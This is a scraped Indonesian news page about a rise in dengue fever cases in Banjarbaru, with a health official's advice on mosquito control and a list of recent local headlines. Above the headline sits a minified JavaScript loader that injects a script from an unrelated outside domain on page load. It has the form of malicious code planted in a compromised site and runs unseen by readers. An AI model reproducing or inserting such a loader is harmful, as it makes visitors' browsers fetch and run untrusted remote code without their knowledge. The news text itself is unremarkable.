(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DBD Mengancam Banjarbaru, 30 Kasus Tersebar di 10 Puskesmas


KANALKALIMANTAN.COM, BANJARBARU – Kasus Demam Berdarah Dangue (DBD) di Kota Banjarbaru mengalami peningkatan awal tahun 2023 ini. Hingga tanggal 20 Januari 2023, Dinas Kesehatan (Dinkes) Kota Banjarbaru mencatat 30 kasus aktif DBD tersebar di 10 Puskesmas yang ada di Kota Banjarbaru.

Adanya peningkatan kasus DBD ini, mengharuskan Dinkes Banjarbaru merapatkan barisan jalur kordinasi dengan stakeholder terkait guna menanggulangi peningkatan kasus DBD di ibu kota Provinsi Kalsel ini.

Kepala Bidang Pencegahan dan Pengendalian Penyakit (P2P) Dinkes Banjarbaru, Erni Syafrida Noor mengatakan, beberapa upaya sudah dirumuskan bersama stakeholder terkait guna menanggulangi kasus DBD di Kota Banjarbaru.

“Biasanya laporan surveilans aktif mingguan, karena ada peningkatan kasus agar data cepat jadi harian,” ujarnya.

 

 

Baca juga: Sidang Korupsi Dana Hibah KONI Banjarbaru, Mantan Kadisporabudpar Beri Kesaksian

Disebutkannya, sampai saat ini penderita DBD di Kota Banjarbaru. Berdasarkan data yang dimiliki, belum menemukan penderita DBD yang parah.

Masih kata Erni, ada beberapa faktor yang mempengaruhi peningkatan kasus DBD di Kota Banjarbaru, salah satunya kondisi cuaca di musim penghujang. Sehingga, mengakibatkan beberapa tempat menggenang menjadi berkembang biaknya nyamuk Aedes Aegypti.

“Bahkan di pelapah pisang juga ada (sarang nyamuk) berkembang biak,” katanya.

Selain itu, kata Erni, banyaknya gedung-gedung atau perumahan yang masih kosong yang jarang dikunjungi pemiliknya juga menjadi salah satu tempat berkembang biak nyamuk.

“Seharusnya semua tempat air yang tidak tertutup, dikeringkan sewaktu meninggalkan rumah,” tuntasnya.

Baca juga: KPU HSU Resmi Lantik 657 PPS, Pj Bupati HSU : Kerja Maksimal dan Jaga Integritas

Ada beberapa langkah untuk mengantisipasi berkembang biaknya nyamuk Aedes Aegypti, yakni dengan menguras penampungan air 7 hari sekali, mengubur sampah, menutup penampungan air dan memastikan di sekitar rumah tidak ada penampungan air yang menjadi sarang jentik nyamuk.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.